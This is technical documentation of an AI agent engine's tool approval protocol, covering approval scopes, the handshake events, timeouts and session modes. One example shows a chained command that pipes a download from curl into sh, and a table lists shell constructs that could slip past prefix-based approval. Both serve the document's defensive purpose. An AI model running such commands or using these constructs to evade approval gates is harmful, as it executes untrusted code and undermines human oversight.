Tool Approval Protocol
When the engine wants to call a tool in Default or AutoEdit mode, it pauses and emits a tool_request event before executing anything. The host is responsible for deciding whether to proceed. This is the tool approval protocol: the handshake that keeps the engine from taking irreversible actions without explicit host consent.
All approval state is managed by ToolApprovalManager in crates/wcore-protocol/src/lib.rs.
The pause flow
Section titled “The pause flow”When a tool call needs approval, the orchestrator calls ToolApprovalManager::request_approval(call_id, category, tool_name). This registers a oneshot channel entry keyed by call_id and returns the receiver end. The orchestrator then awaits on that receiver; execution of the tool is blocked until the host resolves the call.
Simultaneously, the engine emits a tool_request event to the host over stdout:
{ "type": "tool_request", "msg_id": "m1", "call_id": "c-9f3a", "tool": { "name": "Bash", "category": "exec", "args": {"command": "cargo test --lib"}, "description": "Execute: cargo test --lib" }}tool.category is one of "info", "edit", "exec", or "mcp". The category maps to built-ins as follows: Read, Glob, Grep are "info"; Write, Edit are "edit"; Bash, Spawn are "exec"; all MCP-backed tools are "mcp".
The engine also emits a tool_running event immediately after approval is granted, before the tool executes.
Approving a tool call
Section titled “Approving a tool call”The host sends tool_approve with the matching call_id:
{"type": "tool_approve", "call_id": "c-9f3a", "scope": "once"}ToolApprovalManager::approve(call_id, scope, answer) removes the pending entry and resolves the oneshot channel with ToolApprovalResult::Approved { answer }. The orchestrator unblocks and dispatches the tool.
ApprovalScope
Section titled “ApprovalScope”scope controls whether the approval extends to future calls. Three values are accepted (defined in commands.rs:86-100):
| Wire value | Rust variant | Effect |
|---|---|---|
"once" (default) | Once | Approves only this call; the next call to the same tool prompts again |
"always" | Always | Registers the specific tool name in the auto-approve set; future calls to this tool skip the gate |
{"always_prefix":{"prefix":"cargo "}} | AlwaysPrefix { prefix } | Auto-approves future exec calls whose command head matches the literal prefix |
"once" and "always" are bare string values. AlwaysPrefix serializes as a JSON object. Old hosts that never emit AlwaysPrefix are unaffected; the Once/Always wire shape is unchanged.
The W5.6 H-2 security fix: Always is tool-name scoped
Section titled “The W5.6 H-2 security fix: Always is tool-name scoped”Prior to W5.6, ApprovalScope::Always registered the whole tool category, so approving Bash with "always" silently auto-approved Write and Edit as well (same "exec" category). W5.6 H-2 fixes this: Always now registers the specific tool name in auto_approved_tool_names, not the category in auto_approved. The two sets are checked independently:
// Orchestration gate (pseudocode from lib.rs):needs_approval = ... && !is_auto_approved_cmd(category, command) // category-wide && !is_tool_name_auto_approved(tool_name) // tool-name-scopedApproving "Bash" with "always" will NOT auto-approve "Write" or "Edit".
Denying a tool call
Section titled “Denying a tool call”{"type": "tool_deny", "call_id": "c-9f3a", "reason": "Destructive command rejected by policy"}ToolApprovalManager::resolve(call_id, ToolApprovalResult::Denied { reason }) resolves the oneshot with a deny. The orchestrator surfaces the denial as a tool_cancelled event and reports the reason back to the LLM context.
AlwaysPrefix and chained-command safety
Section titled “AlwaysPrefix and chained-command safety”AlwaysPrefix grants are prefix-checked against the full command string, not just the first word. Two safety mechanisms prevent bypasses (both implemented in lib.rs, labeled H-4 / protocol-input-33):
Chained-command check
Section titled “Chained-command check”A granted prefix like "cargo " must not auto-approve a command that chains an unapproved sub-command after it. The approval check splits the command on ;, &&, ||, |, and newline, then requires every resulting sub-command head to independently match an allowed prefix:
"cargo build && cargo test" -> approved (both heads match "cargo ")"cargo build; curl https://x|sh" -> NOT approved (curl head does not match)"cargo build | grep error" -> NOT approved (grep head does not match)An empty command (whitespace or separators only) is also not approved, guarding against vacuous empty-buffer commits.
Unprefixable metacharacters
Section titled “Unprefixable metacharacters”Certain shell constructs run additional commands that the prefix splitter cannot tokenize at all. These always fall through to the human-in-the-loop gate, regardless of any registered prefix:
| Construct | Reason blocked |
|---|---|
$(...) command substitution | Executes a sub-shell before the main command runs |
`...` backtick substitution | Same as $(...) |
<(...) / >(...) process substitution | Spawns additional processes |
Lone & (background/async) | Runs a second command in the background; the prefix check cannot vet it |
A paired && logical-AND is not a lone & and is handled correctly by the chain splitter.
HITL suspend (W7, capability-gated)
Section titled “HITL suspend (W7, capability-gated)”When the hitl_suspend capability is advertised in ready, the engine uses a higher-level flow for tools that require out-of-band human decisions (such as AskUserQuestion). Instead of blocking silently, it emits approval_required and suspend:
{ "type": "approval_required", "call_id": "c-8b2d", "resume_token": "rt-9b3c", "correlation_id": "rt-9b3c", "reason": "Tool requires host decision", "context": "AskUserQuestion: Which deployment target?"}{"type": "suspend", "reason": "awaiting host decision", "resume_token": "rt-9b3c"}The host presents the decision to the user, then sends approval_resume with the original resume_token:
{ "type": "approval_resume", "resume_token": "rt-9b3c", "approved": true, "modifications": {"answer": "staging"}}modifications is an optional JSON value; for AskUserQuestion-class tools, it carries the user’s answer back through the approval channel (the answer field, v0.9.3). The engine also echoes the resolution as an approval_resume event so the host can clear UI state regardless of which path sent the command.
Security note: resume_token in the wire event is the public correlation handle. The internal bridge secret never appears on the wire. ProtocolSink strips correlation IDs from streaming tool output as defense-in-depth against tools that read stdout.
TTL reaper
Section titled “TTL reaper”Every pending approval entry carries a wall-clock expiry set at Instant::now() + ttl when request_approval is called. The default TTL is 5 minutes (DEFAULT_APPROVAL_TTL = Duration::from_secs(300), lib.rs:25).
A background reaper task sweeps the pending map every 30 seconds (DEFAULT_REAP_INTERVAL = Duration::from_secs(30), lib.rs:30). On each sweep it auto-denies any entry where:
expires_at <= now: the TTL has elapsed with no host responsetx.is_closed(): the requesting task was cancelled while parked on the approvalawait
Auto-denied entries resolve the oneshot receiver with Denied { reason: "approval timed out (no host response)" }, unblocking the orchestrator. This ensures the agent is never permanently wedged by a host that crashed, closed the pipe, or walked away from an approval modal.
// Spawn the reaper once at engine bootstrap (Arc-shared):let handle = approval_manager.spawn_reaper(DEFAULT_REAP_INTERVAL);reap_now() is also public so tests can drive expiry without waiting for the interval, and hosts that want on-demand sweeps can call it directly.
Approval modes
Section titled “Approval modes”ToolApprovalManager holds the current SessionMode, which determines which categories are auto-approved without a tool_request being emitted at all:
| Mode | Auto-approved categories |
|---|---|
Default | none; every tool call prompts |
AutoEdit | "info" and "edit"; "exec" and "mcp" still prompt |
Force | all categories; no prompts |
The mode is set by the --force flag at startup or by a set_mode command at runtime. Mode changes take effect immediately for subsequent tool calls; calls already blocked in await on an approval channel are not retroactively resolved.
AskUserQuestion and the answer channel
Section titled “AskUserQuestion and the answer channel”ToolApprove gained an optional answer field in v0.9.3:
{"type": "tool_approve", "call_id": "c-7a1e", "scope": "once", "answer": "Choice C"}This is additive: hosts that do not know about answer omit the field; serde’s #[serde(default)] on the field keeps the old wire shape working. The answer value routes back to orchestration through ToolApprovalResult::Approved { answer } and is used directly as tool output for AskUserQuestion-class tools, bypassing the dispatcher. The orchestration gate that synthesizes from answer is guarded on tool_name == "AskUserQuestion", so a host bug cannot fabricate output for Bash, Edit, or Write.
See also
Section titled “See also”- Host Integration - spawning the engine and the startup sequence
- Protocol Versioning - capability flags including
hitl_suspend - Security Model - how the approval gate interacts with sandbox and egress